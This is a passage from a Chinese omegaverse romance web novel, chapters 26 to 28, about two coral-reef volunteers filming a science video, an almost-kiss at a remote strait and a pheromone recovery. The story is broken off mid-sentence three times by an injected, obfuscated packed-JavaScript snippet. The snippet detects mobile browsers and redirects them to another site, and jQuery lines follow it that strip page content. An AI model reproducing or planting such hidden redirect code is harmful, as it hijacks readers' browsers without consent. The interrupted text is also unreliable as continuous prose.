大家坐在甲板上休息,桃楠对莉莉安汇报了的大致情况:“今天设备运行都正常,就是3号点位的信号稍弱,梨教练说回头再调下角度。” 甜橙橙举着相机回放白天的素材:“我还是太会拍了。” 时夏凑过去看,笑着调侃:“橙子,你这拍摄角度,不知道的还以为在拍偶像剧。” 另一边的栏杆旁,梨砚从背包里拿出一串贝壳手链递给桃楠,上面串着几颗昨天他们清理海边时捡到的小海螺:“给你的,算是……合作纪念。” 桃楠愣了一下,伸手接过,手链上还带着阳光晒过的温润,他低头看着海螺在阳光下泛出的虹彩,耳尖不受控制地发烫:“昨天捡的时候,你不是说海螺壳太薄,容易碎吗?” “串起来就不容易碎了。”梨砚指尖在手链搭扣处顿了顿,帮他把链条扣好,“你手腕细,调了两格长度。”指腹不经意擦过桃楠手腕内侧。 甜橙橙举着相机躲在不远处,镜头悄悄对准两人交叠的手腕,压低声音兴奋道:“时夏你快看!” 时夏躲在甜橙橙背后:“小心被发现。” 南阳躲在时夏身后:“前辈也太会了吧?还送合作礼物。” 快艇刚靠岸,沙滩上的热风就裹着椰子香扑面而来。 志愿者们扛着设备往协会办公区走,莉莉安回头喊:“大家先去食堂吃饭,数据复盘会下午三点再开。” 桃楠正低头摆弄着手链,贝壳碰撞的轻响随着脚步节奏跳动。 梨砚拎着两人的潜水装备走在旁边,忽然停步指了指斜前方:“那边有家海鲜排档,昨天路过时看到招牌写着现烤龙虾,你想去吗?” “不用去食堂吗?”桃楠抬头时,正好对上他带着笑意的眼睛。 “食堂今天吃咖喱饭,”梨砚声音压低了些,“我记得你不太爱吃咖喱。” 两人沿着沙滩小路往排档走,身后传来甜橙橙和时夏的打闹声,大概是被南阳拽去交设备了。 桃楠走在椰树荫里,手腕上的贝壳手链被阳光照得发亮,忍不住问:“你怎么知道我不爱吃咖喱?” “上次团建聚餐,你把咖喱酱拨到一边了。”梨砚说得自然,仿佛只是在说今天的水温,“排档老板是协会的老熟人,海鲜都是早上刚捞的,很新鲜。” 排档的竹棚下空无一人,老板正蹲在灶台前煽火,见他们来立刻笑着起身:“梨教练今天带朋友来了?要两份龙虾套餐?” “再加个清蒸石斑,少放辣。”梨砚拉开塑料椅,示意桃楠坐下。 桃楠看着他熟稔地点单,忽然发现手腕上的手链长度刚刚好,既不会滑落,也不勒手。 26. 双人拍摄 午后的阳光把沙滩晒得暖融融的,海鲜排档竹棚下的龙虾焦香还没散尽,混着海风里的咸湿气息,在空气里慢悠悠地飘。 梨和梨砚并肩往协会办公区走,怀里抱着半瓶没喝完的椰子水,透明的玻璃瓶壁上还凝着细密的水珠。 他决定找个空地把关于监测仪的科普拍了,梨砚闻言带着他往储藏室走,“我去拿监测仪模型,莉莉安说放在储藏室了。” 储藏室的木门“吱呀”一声被推开,扬起一阵带着海盐味的轻尘,在斜斜照进的阳光里翻飞。 梨砚踩着木梯爬上货架,取下那个半大的白色模型,外壳上贴着的“珊瑚礁监测仪Pro”标签边角有些卷翘,却依旧清晰。 他转身时,气窗的阳光恰好落在他发间,蓝灰色的发丝被染得透亮,指尖划过模型侧面的太阳能板。 这个是1:1复刻模型,比真设备轻很多,拍视频时拿着方便,平时协会宣传也是拿它。 甜橙橙已经在不远处的沙滩上支好了三脚架,换了相机,上面还支了一面很大的遮阳伞,镜头正对着远处波光粼粼的海面。 潮水刚退去不久,沙滩上留着星星点点的贝壳,被阳光晒得发亮。 桃楠走过去,自然地坐在镜头前的沙滩上,沙粒从指缝间漏下去,痒痒的。他拍了拍身边的空位,仰头冲梨砚笑:“坐这儿。” 梨砚拿着监测仪走过去坐下,却和桃楠隔了快半臂的距离,膝盖绷得笔直,像是在沙滩上摆了个标准的军姿。 “梨教练,你坐那么远干什么?”甜橙橙举着相机,不满地皱起眉,“坐近一点啦,镜头都拍不全你们了。” 她在心里偷偷握拳,我的CP我守护,就算没机会也要创造机会! 桃楠的手掌撑在沙滩上,身体微微前倾,歪着头看梨砚,眼里闪着促狭的光:“梨教练,你是紧张了吗?” 梨砚没回他,只是轻轻叹了口气,指尖在腺体上按了按,才不情不愿地往他身边挪了挪,膝盖几乎要碰到一起。 心想,你是吃药了,留我一个人被信息素折磨。 甜橙橙看着镜头里靠近的两个人,满意的点点头,比了个“准备开始”的手势。 “哈喽大家好,我是桃楠。”他朝镜头晃了晃手,指尖还沾着点椰子水的清甜气息手,“我们刚从珊瑚礁区回来,现在要给你们揭秘今天的‘大功臣’,就是我身边这位手里的监测仪。” 他侧身让出位置,镜头稳稳落在梨砚身上。 梨砚手里正转着监测仪模型,闻言抬眼看向镜头,蓝灰色的发丝被海风吹得轻轻晃动,发梢还带着点上午潜水未干的潮气,在阳光下泛着水润的光。 他对着镜头浅浅一笑,声音里带着海风的清爽:“大家好,我是梨砚。” 桃楠在一旁补充:“正式介绍一下,这是我的特邀嘉宾,也是今天带我安装设备的梨教练,接下来就由他给大家讲讲这小家伙的厉害之处。” 梨砚举高监测仪,指尖点在表面的太阳能板上,声音透过海风传进屏幕里,清晰又沉稳:“这是珊瑚礁生态监测仪,最外层的太阳能板负责供电,即使连续阴天也能维持三天续航。” 话刚说完,他却突然停住了,目光不自觉地飘向桃楠。 大概是桃楠早上吃的药过了药效,那股淡淡桃花味信息素正渐渐变浓,顺着海风往他这边飘,像带着钩子似的,轻轻往他的腺体上钻,弄得他指尖有点发颤。 桃楠被他看得莫名其妙,眨了眨眼,用眼神无声地询问:怎么了? 梨砚迅速收回目光,喉结轻轻滚动了一下,定了定神,才若无其事地继续讲解,只是耳根悄悄爬上了一点红:“它的核心功能是监测三项关键数据:水温、盐度和海水酸碱度。” “就像给珊瑚礁装了个‘健康监测手环’。”桃楠凑过来,指着设备侧面的指示灯,“白天我们安装时,看到绿灯闪烁就代表它开始工作,当时我还紧张了半天,怕没固定好吸盘。” 他的靠近带来更多信息素,梨砚忍了忍,翻转设备展示底部的吸盘:“安装时要注意把探头紧贴礁石背流处,避免被海浪直接冲击。大家看这里的黑色传感器,它每小时会自动记录一次数据,通过卫星实时传到协会数据库。” 他顿了顿,指尖划过数据接口,指腹的薄茧蹭过模型外壳“比如水温如果超过28℃,珊瑚就容易出现白化风险,检测仪会第一时间发出预警。” 桃楠示意镜头外的甜橙橙给检测仪个特写,她立刻调整角度,让镜头对准设备上的刻度。 梨砚的指尖正落在“酸碱度”标识上:“海水的酸碱度平衡很重要,人类活动产生的塑料垃圾分解后会改变水质,这些变化都会被它精准捕捉到。” “今天我们在清理礁石区时,还发现了被渔网缠住的小海龟。”桃楠忽然想起白天的事。 他语气认真起来,睫毛在眼下投出淡淡的阴影,“梨教练说,这些监测仪不仅能保护珊瑚,还能通过水质数据反推海洋生物的生存环境。比如这片海域的塑料垃圾减少后,检测仪记录的浮游生物密度都变高了。” 梨砚点点头,补充道:“近三年的数据显示,经过持续清理,这片珊瑚礁的白化率下降了17%。其实海洋保护很简单,带走自己的垃圾,不随意触碰海洋生物,这些小事都能被检测仪‘记下来’,变成实实在在的生态改善。” 最后,桃楠对着镜头举挥了挥手:“今天的科普就到这里啦,感谢梨教练的专业讲解,大家记住,海洋保护不是一句口号,就像这台检测仪一样,每一点努力都会被记录下来。” 梨砚对着镜头微微颔首:“保护海洋,从了解开始。下次带大家了解更多,再见。” 相机关闭后,甜橙橙抱着相机兴奋地在遮阳伞下翻看素材,桃楠被她拉着看回放,梨砚趁这功夫悄悄往后退了两步。 午后两点的阳光毒辣得很,沙滩被晒得发烫,海风卷着潮气扑在身上,腺体处的酸胀感越来越清晰,指尖都有些发颤。 “我先回去了,你们慢慢弄。”梨砚道< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326499|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>桃楠仰头看他,阳光把梨砚的蓝发照得近乎透明,发梢的潮气在高温里瞬间蒸发,“你不和我们一起去吃冰沙吗?” “不了,有点事。”梨砚的目光在他泛红的腺体上顿了半秒,匆匆移开。 桃楠点头,“那我带一个回去给你?” “不用了。”梨砚含糊的应了一声,转身往别墅的方向走,回到房间关上门,隔绝了外面的喧嚣,梨砚立刻从抽屉翻出针管和腺体修复剂。 冰凉的液体注入腺体时,他闷哼一声,靠在门板上缓了好一会儿,直到那股被信息素灼烧的刺痛感退成钝痛。 空调冷风丝丝吹着,梨砚摸出手机拨通陈辰的电话。响了两声就被接起,陈辰的声音混着键盘敲击声:“你怎么这会儿给我打电话?我在医院忙着呢。” “那正好,问你个事。”梨砚坐在床边,指尖按着还发烫的腺体,“我和桃楠已经没了共生反应,但我还是闻到了他的信息素。” 陈辰在那头“啊”了一声,问他:“然后呢?” 梨砚回他:“他流鼻血了,我带他去医院检查了,结果是他对我的信息素高度敏感。” “他知道是对你吗?”陈辰的声音正经起来,“你对他的信息素有什么特殊的反应吗?” 梨砚想了想:“就之前那些,没什么特别……” “现在能确定的是你们没有再次产生共生反应。”陈辰打断他,“因为共生反应结束三天内,是不会再次触发的。” 梨砚烦躁的问他:“那到底是为什么?” 他觉得这样下去肯定会影响到桃楠,虽然他知道信息素敏感是对自己,也知道解决办法,但他绝对不会找自己帮忙。 梨砚一直都知道桃楠讨厌被Omega的本能反应束缚。 “我哪知道啊,我又不是研究信息素的。”陈辰说:“你自己注意着点自己的反应,我明天问问小张。” 挂了电话,窗外阳光透过纱帘在地板上晃悠。梨砚望着天花板,鼻尖似乎还萦绕着那缕清甜的桃花香。 明明是清爽的味道,却让他腺体一阵阵发紧。 原来不是错觉,他是真的能清晰的闻到桃楠的信息素了,像冰镇汽水炸开的甜意,带着微刺的清爽,钻进去就不肯散。 而隔壁房间里,桃楠正对着镜子发愁。 他刚用冷水拍了脸,鼻尖的痒意却没消,反而带着熟悉的热意这是对梨砚信息素敏感前兆。 抽屉里放着调节敏感度的药,白色药片在阳光下泛着微光。 桃楠倒了杯温水,捏着药片在指尖转了转,“总吃药也不是办法啊。” 他的耳边仿佛还回响着梨砚讲解监测仪的声音,低沉语调混着海风,让心跳又快了半拍。 “但总不能躲着吧。”他小声嘟囔,把药片丢进嘴里,凉水咽下去时,苦涩感漫到舌尖。 他怕自己再频繁接触梨砚,下次真的会当场流鼻血。 空调冷风轻轻吹着,两扇门只隔了一堵墙,却藏着各自的心事。 27. 海峡 下午三点的阳光斜斜掠过协会办公区的玻璃窗。志愿者们陆续落座,桌上摊着今天的监测数据记录表,纸页边缘还沾着没擦净的海水痕迹。 莉莉安抱着笔记本电脑坐在主位,王研究员推了推眼镜,指尖在投影幕布上的图表点了点:“这三天珊瑚礁区的水温波动在正常范围,但3号点位的盐度读数有两次异常峰值,对应时间正好是附近渔船集中作业的时段,后续要重点跟踪。” 梨砚坐在靠窗的位置,指尖无意识地敲着桌面,目光落在幕布上跳动的数据曲线。 桃楠就坐在他斜对面,正低头在笔记本上写写画画,后颈的阻隔贴边缘露出一点泛红的皮肤,看得他腺体又开始隐隐发紧。 “垃圾清理方面,废弃渔网的回收率比上周提高了12%,但塑料碎片的密度依然超标。”莉莉安接过话头,调出清理区域的分布图,“特别是浅滩区,游客丢弃的饮料瓶和食品包装占比很大,下周需要加派巡逻组在沙滩设置分类垃圾桶。” 王研究员补充道:“监测仪的信号稳定性整体不错,只有4号点位因为礁石阴影遮挡,数据传输偶尔延迟,梨砚你今天说要调整角度,明天安排人配合你处理一下。” “好。”梨砚应声,目光不经意间扫过桃楠的笔记本,只见上面除了记录数据,还画了个小小的珊瑚简笔画,旁边歪歪扭扭的画着几只小鱼。 他嘴角几不可察地弯了弯,赶紧收回视线。 会议持续了不到一小时,莉莉安合上笔记本:“数据问题大致就是这些,后续有什么活动我会发在工作群里。剩下的时间大家自由安排。” 话音刚落,甜橙橙立刻站了起来:“那我去剪今天的vlog了。” 南阳伸了个懒腰,打了个哈欠,懒懒的贴在时夏左耳边道:“我们回去睡一觉吧,这两天都快累死了。” 三个人和桃楠打了声招呼后便离开了。 会议室里的人很快散去,梨砚收拾笔记本时,发现桃楠还在对着数据表格皱眉。 他走过去俯身看了眼,只见表格旁标注着“1号点位下午两点水温突升0.5℃”,字迹清秀却带着点用力的划痕。 “这里?”梨砚指尖点在那个异常数值上,“是洋流短暂变化导致的,我早上安装设备时观察过,那块礁石后面有小股暖流经过,属于正常现象。” 桃楠抬头看他,眼里的困惑散去大半:“难怪我算平均值的时候总觉得不对劲。” 他合上笔记本,手腕上的贝壳手链随着动作轻轻晃动,“那我没别的事了,打算去海边再拍几张晚霞素材。” “晚霞?”梨砚看了眼窗外,天空还是透亮的蓝色,“至少要等一个小时,现在去太早。” “去沙滩捡捡贝壳也行。”桃楠站起身,指尖摩挲着手链上的海螺,“昨天捡的贝壳不够漂亮,我想多找几个。” 他想捡点贝壳做风铃,回给梨砚作合作纪念礼物。 梨砚望着他眼里的期待,喉结动了动:“你要和我去个地方吗?”话出口才意识到自己说了什么,但已经没有办法撤回了。 桃楠愣了愣,随即笑起来,眼角弯成月牙:“好啊,那梨教练带路。” 梨砚转身去找王研究员借了车钥匙,协会的越野车停在办公区门口,车身上还沾着没洗干净的泥沙,显然刚从海边土路开回来。 梨砚拉开车门,引擎发动时发出沉稳的轰鸣:“坐稳了,去海峡的路有点颠。” 车子驶出城区后,柏油路渐渐变成坑洼的土路,两旁的椰林越来越茂密,阳光透过枝叶缝隙在车身上投下斑驳的光影。 桃楠望着窗外飞速倒退的海岸线,好奇地问:“我们要去的地方很偏吗?我来这么久都没听说过附近有海峡。” “是协会的生态观测点,平时很少有人去。”梨砚握着方向盘,目光偶尔扫过后视镜,“那里的礁石区没被开发过,贝壳和海螺都很完整,比沙滩上捡的漂亮得多。” 土路尽头是一片被椰林环抱的小码头,停着两艘蓝色的玻璃钢小船,船身上印着协会的标志。 梨砚熄了火,从后备箱拿出两个救生衣:“从这里坐船过去还要十分钟,海峡中间有片浅滩,退潮时能露出大片礁石。” 桃楠接过救生衣套上,看着梨砚熟练地解开船绳,将小船推入泛着粼粼波光的海面。 海风带着咸湿的气息扑面而来,远处的海平面与天空连成一片湛蓝,几只白色的海鸟掠过水面,翅膀划出一片涟漪。 “上来吧,我划桨。”梨砚率先跳上船,船体轻轻晃动了一下。他稳稳坐定后,朝桃楠伸出手,掌心还带着常年积累的薄茧。 桃楠扶着他的手踏上船,刚坐稳就被海浪推得晃了晃,下意识抓住船舷。 梨砚笑着递给他一个船桨:“不用紧张,这片水域很平静,你试试划两下?” 小船在海面上缓缓前行,双桨划入水中时发出“哗哗”的轻响,搅碎了水面上的阳光。 桃楠学着梨砚的样子划桨,却总让船身偏向一侧,梨砚在旁边低声指导:“左边用力均匀点,对,手腕别太僵。” 十分钟后,小船渐渐靠近一片月牙形的浅滩。 退潮后的礁石露出水面,上面爬满了青绿色的海藻,潮水退去的痕迹在礁石上留下层层叠叠的白色盐霜。 桃楠刚跳上岸,就被脚下的景象惊得睁大了眼睛,浅滩的水洼里散落着五颜六色的贝壳,有带着螺旋花纹的海螺,有边缘泛着虹彩的扇贝,还有像星星形状的星螺,在阳光下闪着温润的光泽。 “这里……简直像宝藏。”桃楠蹲下身,小心翼翼地捡起一只拳头大的海螺,螺壳上的花纹像被海水晕染过的水墨画。 梨砚把船系在礁石上,走到他身边:“这片海域没人来,贝壳都没被破坏过。不过别捡太多,留一些给海鸟和小螃蟹当栖息地。” 桃楠点点头,从背包里拿出准备好的布袋,蹲在水洼边仔细挑选贝壳。 他的手指轻轻拂过贝壳表面,避开那些还粘着小生物的壳,专捡那些光洁完整的。 梨砚就坐在旁边的礁石上看着他,夕阳的金光落在他发梢,把侧脸的轮廓描得格外柔和。 “梨教练,你看这个。”桃楠举起一只半透明的白色贝壳,阳光透过贝壳照出淡淡的粉色光晕,“这个做风铃肯定很好听。” 梨砚看着他眼里闪烁的兴奋,像看到了多年前那个举着拍立得追着海鸟跑的少年,心里忽然涌上一股柔软的暖意。 他站起身,走到水洼另一边翻找片刻,捡起一只带着浅棕色条纹的海螺递过去:“这个吹起来能出声,试试?” 桃楠接过来,对着海螺口轻轻一吹,果然发出低沉悠长的“呜呜”声,像海风穿过礁石的回响。 他惊喜地抬头看梨砚,眼里的光比夕阳还要亮:“真的能吹响!这个我要留着。” 小船静静泊在浅滩边,梨砚靠在礁石上,指尖无意识地划过高耸的螺壳,声音随着海风慢慢散开:“这里以前是渔民歇脚的地方,二十年前台风把码头冲垮了,后来协会把这里划为生态保护区,就再没人来了。” 他抬头望着远处的椰林,“我压力大的时候就会开车来这儿,划着船到浅滩中间,躺在礁石上看云飘一整天,还会…………游泳。” 桃楠抱着膝盖听他说话,手里转着那只刚捡的风铃贝壳:“所以你常来这里游泳?” “嗯,”梨砚笑了笑,“这里水浅又干净,珊瑚礁离岸边近,游累了就能趴在礁石上歇着,比泳池舒服多了。” 夕阳正往海平面沉,金色的光把海面铺成流动的绸缎。桃楠看着波光粼粼的海水,不知怎么就脱口而出:“那……你现在能游给我看吗?” 梨砚明显愣了一下,蓝灰色的睫毛在眼下投出浅浅的阴影,随后眼底漾开笑意,站起身拍了拍礁石上的沙粒:“刚好热了,陪你试试。” 他利落地脱掉上衣和短裤,转身跃入水中时溅起一串银亮的水花。 海水瞬间漫过他的肩膀,蓝色的发丝被浸湿后贴在颈侧,手臂划水时带出流畅的弧度,像条灵活的鱼游向浅滩深处。 桃楠蹲在礁石上看得出神。梨砚游得很稳,每一次摆臂都带着力量感,却又不会搅起太多水花,身影在清澈的海水中若隐若现。 他游到远处的珊瑚礁旁,翻身仰躺在水面上,双手枕在脑后,任由海浪把他轻轻推向岸边,夕阳的金光洒在他身上,连带着水珠都闪着细碎的光。 “梨教练!”桃楠朝他喊,声音被海风送出去很远。 梨砚在水里朝他挥手,忽然一个翻身扎入水中,几秒后从离礁石不远的地方冒出来。 好熟悉……像之前的那个梦。 桃楠没由来的想。 上岸时,梨砚手里还举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326500|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一只巴掌大的海星,海星的触角在他掌心轻轻蠕动。 “送给你。”他走上岸,水珠顺着下颌线滑进领口,发梢滴下的水落在锁骨处,“刚在礁石缝里发现的。” 送给你………… 这句话桃楠听过,是在梦里,是他对梦里那个看不清脸的人讲的,现在就好像是反过来了一样。 桃楠盯着他手里的海星发呆,但很快回过神,腾出布袋一角,小心翼翼地把海星放进去,又怕压坏它,特意垫了片柔软的海藻。 两人并肩坐在礁石上歇气,海风带着潮气掠过礁石,桃楠的目光不自觉地落在梨砚身上。 他刚从水里上来,水珠顺着紧实的肩线往下滑,在腰腹的肌理间汇成细流,又被晚风吹得半干,留下淡淡的水痕。 肩胛处还留着几块礁石硌出的淡红印子,像是属于这片海的勋章。 夕阳的金光斜斜打过来,把他手臂上的肌肉线条描得格外清晰,抬手抹脸时,肱二头肌随动作轻轻滚动,带着湿漉漉的力量感。 桃楠的心跳莫名漏了一拍,赶紧移开视线,假装专注地摆弄布袋里的贝壳,指尖却不小心碰倒了那只吹过的海螺,发出“咚”的轻响。 “怎么了?”梨砚侧头看他,发梢的水珠滴落在锁骨窝里,又顺着凹陷滑下去,“贝壳硌手?” “没、没有。”桃楠的耳尖有点发烫,抓起那只风铃贝壳挡在眼前,“就是觉得……你游泳很厉害。” 他的声音越来越小,余光却忍不住又瞟过去,梨砚正低头拧着湿透的短裤下摆,腰侧的人鱼线若隐若现,看得他喉咙发紧。 “以前在队里练过几年。”梨砚没察觉他的异样,随手扯过搭在礁石上的T恤擦了擦头发,“后来反而更常下水了。” 他转头时,正好对上桃楠没来得及收回的目光,眼里的慌乱像受惊的小鱼,瞬间躲进了睫毛的阴影里。 梨砚的动作顿了顿,嘴角几不可察地弯了弯,但他没点破。 梨砚的目光在桃楠泛红的耳尖上停了停,海风吹起他额前的碎发,露出那双清澈又带着点慌乱的眼睛。 刚才桃楠偷看他时的眼神太直白,像夏日正午的阳光,烫得人心里发暖。 无论是开会时偷偷画小鱼的小动作,还是此刻被撞破心思后手足无措的模样,都像投入心湖的石子,漾开一圈圈的涟漪。 桃楠还在低头摆弄贝壳,风铃贝壳的边缘在阳光下泛着虹彩,他的指尖无意识地摩挲着贝壳上的纹路,长长的睫毛垂着,在眼睑下投出浅浅的阴影。 两个人距离太近了,梨砚能闻到他发间混着海盐味的清香,里面还参杂着淡淡的桃花味信息素。 梨砚的喉结不自觉地滚动了一下,他忽然有了个冲动。 他想凑近一点,想看看桃楠的睫毛是不是真的像看起来那么软,想尝尝他因为紧张而抿紧的唇瓣是不是和想象中一样甜。 他悄悄往桃楠身边挪了半寸,礁石上的沙粒硌着掌心,却没觉得疼。 桃楠似乎毫无察觉,把海星从布袋里拿出来透气,指尖碰到海星触角时,还轻轻“呀”了一声。 就是现在。 梨砚的心跳突然快了起来,像被海浪拍打的礁石,咚咚地撞着胸腔。 他微微低下头,目光落在桃楠的唇上,看着那片柔软的唇瓣因为呼吸轻轻动着。 海风好像停了,周围只剩下海浪拍岸的声音,还有自己越来越响的心跳。 他想抬手扶住桃楠的后颈,想让这个吻来得自然一点,至少别像自己现在这样,手心都在冒汗。 这个念头刚冒出来,桃楠忽然抬起头,海星在他掌心蠕动,他说:“梨教练你看,它好像怕我。” 梨砚猛地顿住动作,像被按下暂停键的录像带。 距离太近了,他甚至能看清桃楠瞳孔里自己的影子,还有那份全然的、不含杂质的欣喜。 刚才那点汹涌的冲动瞬间退了潮,只剩下耳根的发烫和心里的懊恼。 差点就做了越界的事………… 他迅速移开视线,伸手抓过旁边的T恤胡乱擦了擦脸,试图掩饰自己的失态:“海星对温和的触碰不敏感,你轻一点它就不会缩起来。”声音有点发紧,连他自己都听得出那份刻意的镇定。 桃楠“哦”了一声,注意力又回到海星身上,没发现梨砚放在礁石上的手正微微收紧。 28. 腺体好了 夕阳一点点沉入海平面,把天空染成橘红与靛蓝交织的调色盘。远处的海浪泛着金红的光,每一次拍打礁石都碎成一片流动的碎金。 梨砚和桃楠并肩坐在礁石上,谁都没说话,只是安静地看着最后一缕阳光没入海平线,直到天边只剩下淡淡的余晖。 “该回去了。”梨砚先站起身,拍了拍裤子上的沙粒,夕阳的暖意还残留在礁石上,带着海水的潮气。 桃楠点点头,把海星小心放回水洼,又仔细收好几只最漂亮的贝壳,才抱着布袋跟上他的脚步。 小船划回码头时,暮色已经漫了上来,椰林的影子在沙滩上拉得很长,海鸟归巢的翅膀声掠过头顶。 梨砚发动车子时,仪表盘的光在昏暗的车厢里亮起柔和的蓝。 土路颠簸依旧,两旁的椰林在夜色里只剩下模糊的轮廓,只有远处海面偶尔闪过渔船的灯火。 桃楠靠在副驾驶座上,大概是忙了一天,累坏了,没过多久就歪着头睡着了,呼吸轻轻落在车窗上。 车厢里很安静,只有引擎的低鸣和轮胎碾过石子的轻响。 梨砚的目光偶尔扫过副驾,桃楠的侧脸在昏暗的光线下显得柔和,长长的睫毛随着呼吸轻轻颤动,嘴角还带着一点浅浅的笑意。 不知从什么时候起,一股淡淡的桃花香在车厢里弥漫开来。 起初很淡,像晚风拂过桃林的清香,随着桃楠呼吸渐渐平稳,那股甜味越来越清晰,带着Omega信息素特有的柔软暖意,悄悄钻进梨砚的鼻腔。 是桃楠的信息素。 梨砚握着方向盘的手指微微收紧,这味道太勾人,像午后那杯带着甜味的椰子水,又像浅滩上被阳光晒暖的贝壳,让他的腺体不自觉地发热。 他能感觉到自己的信息素在体内翻涌,以往这种时候,后颈的腺体总会传来熟悉的酸痛感,像被无形的线绷紧,可今天………… 梨砚微微蹙眉,试着放缓呼吸,专注地感受体内的信息素流动。 那股属于Alpha的气息确实在溢出,顺着呼吸散落在车厢里,与桃楠的桃花香缠绕在一起,却没有以往那种失控的灼热和酸痛。 他甚至能清晰地感觉到信息素的走向,像被驯服的海浪,温顺地跟着他的意识起伏。 他竟然能控制住自己的信息素了。 这个发现让梨砚心头一震,握着方向盘的手不自觉地松了松。 以往每次信息素波动,后颈的酸痛都让他难以忍受,必须靠抑制剂才能平复,可此刻,只有腺体微微的发热,还有与桃楠信息素交融时的暖意。 他侧头看了眼熟睡的桃楠,对方似乎完全没察觉信息素的溢出,只是睡得更安稳了些,头轻轻靠向座椅靠背,发丝蹭到了颈后的阻隔贴。 大概是颠簸的车程、安静的夜色,还有身边的气息让他觉得安心,才会卸下防备,连信息素都变得这样肆无忌惮。 梨砚放慢了车速,尽量让车子平稳地驶过坑洼路段。 车厢里的两种信息素慢慢交融,桃花的甜软裹着海风的清冽,在昏暗的空间里织成一张温柔的网。 他能感觉到自己的信息素在小心翼翼地靠近着那股桃花香,像海浪轻拍礁石,带着克制的温柔。 后颈的腺体没有酸痛,只有一种陌生的、微微发麻的暖意。 梨砚望着前方被车灯照亮的土路,心里忽然涌上一股说不清的情绪。 或许是这片海,或许是身边的人,让他在不知不觉中,解开了那道束缚已久的枷锁。 车子驶回城区时,路灯次第亮起,橘黄色的光透过车窗落在桃楠脸上。 梨砚轻轻按下车窗,让晚风吹散一点过于浓郁的信息素,然后放缓车速,在别墅楼下停稳。 他没有立刻叫醒桃楠,只是安静地看着他熟睡的样子。 车厢里还残留着淡淡的桃花香,混着海风的气息, 梨砚的指尖在方向盘上轻轻敲击着,后颈的暖意还在,那是信息素平稳流动的证明,也是这个夜晚最意外的礼物。 梨砚刚解开安全带,就听见别墅方向传来嘈杂的人声,隐约还夹杂着救护车的鸣笛声。 怎么这么吵? 他皱了皱眉,推开车门时,晚风卷着混乱的气息扑面而来,不止有消毒水味,还有各种信息素混合的驳杂气息,其中一股浓郁的花香格外刺目。 “怎么回事?”桃楠被吵醒,揉着眼睛推开车门,刚站稳就被眼前的景象惊得清醒过来。 别墅门口围了不少人,几个穿着节目组制服的工作人员正焦急地往救护车上搬东西,闪烁的红光映得周围人影晃动,地上还散落着没来得及收拾的拍摄器材。 “时夏!南阳!”桃楠在人群中看见了熟悉的身影,拉着梨砚快步挤过去。 时夏正踮着脚往救护车那边张望,南阳靠在墙上揉着太阳穴,甜橙橙举着手机不知道在拍什么,看见桃楠立马跑了过来:“你们可回来了,刚才吓死我了。” “出什么事了?救护车怎么来了?”桃楠追问。 南阳打了个哈欠,声音带着疲惫:“节目组今天去岛上打卡点拍素材,回来的时候那个叫林薇薇的Omega艺人突然发情期提前了,随身带的抑制剂刚好用完,信息素乱得厉害,只能赶紧送医院。” 他指了指救护车,“刚上车,准备走了。” 桃楠点点头,鼻尖却忽然捕捉到那股过于浓郁的花香信息素,正是从救护车方向飘来的。 他下意识问道:“秦尤呢?你们看到他了吗?他对花香型信息素过敏。” 时夏愣了愣:“秦尤?刚才还在院子里,没注意他什么时候走的。”南阳也摇头:“没看见,可能回房间了?” “不对!”甜橙橙突然指着斜对面的酒馆,“那不是秦尤吗?他那头粉毛我不会认错的。” 桃楠顺着她指的方向看去,果然见酒馆门口站着个熟悉的身影,正被人半扶半抱着。 他拨开人群就跑过去,梨砚紧随其后。可越靠近,他脚步越慢,最后彻底顿在原地,扶着秦尤的人,竟然是酒馆里那个银发及肩的调酒师Omega。 上次来喝酒时见过对方,指尖夹着酒杯的样子冷淡又疏离,此刻却正低头看着怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326501|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的人,眉头紧锁。 而秦尤的状态显然很糟糕,脸上和脖颈间布满了红疹,呼吸急促,意识模糊地靠在调酒师怀里,双手还死死抓着对方的手臂,脑袋一个劲往人家颈侧蹭,像是在寻找什么慰藉,连带着信息素都变得焦躁不安。 “他怎么回事?”桃楠跑上前问。 银发调酒师抬头看了他一眼,目光掠过他身后的梨砚,语气还算镇定:“过敏反应,刚才在酒馆突然喘不上气,我扶他出来透气。” 他顿了顿,抬手轻轻拍了拍秦尤的背,“我是他前男友,江屿。我知道怎么照顾他,你们能带我去他房间拿药吗?” 秦尤似乎听到了熟悉的名字,含糊地哼唧了一声,抓着江屿的手更紧了,鼻尖在他颈侧腺体附近蹭来蹭去,像只寻求安抚的大型犬。 江屿无奈地叹了口气,对桃楠重复道:“他房间应该有备用的抗过敏药,麻烦你们了。” 桃楠赶紧拿过梨砚找协会要来的备用钥匙打开秦尤的房门,江屿半扶半抱着人踉跄着进去,刚把秦尤放在沙发上。 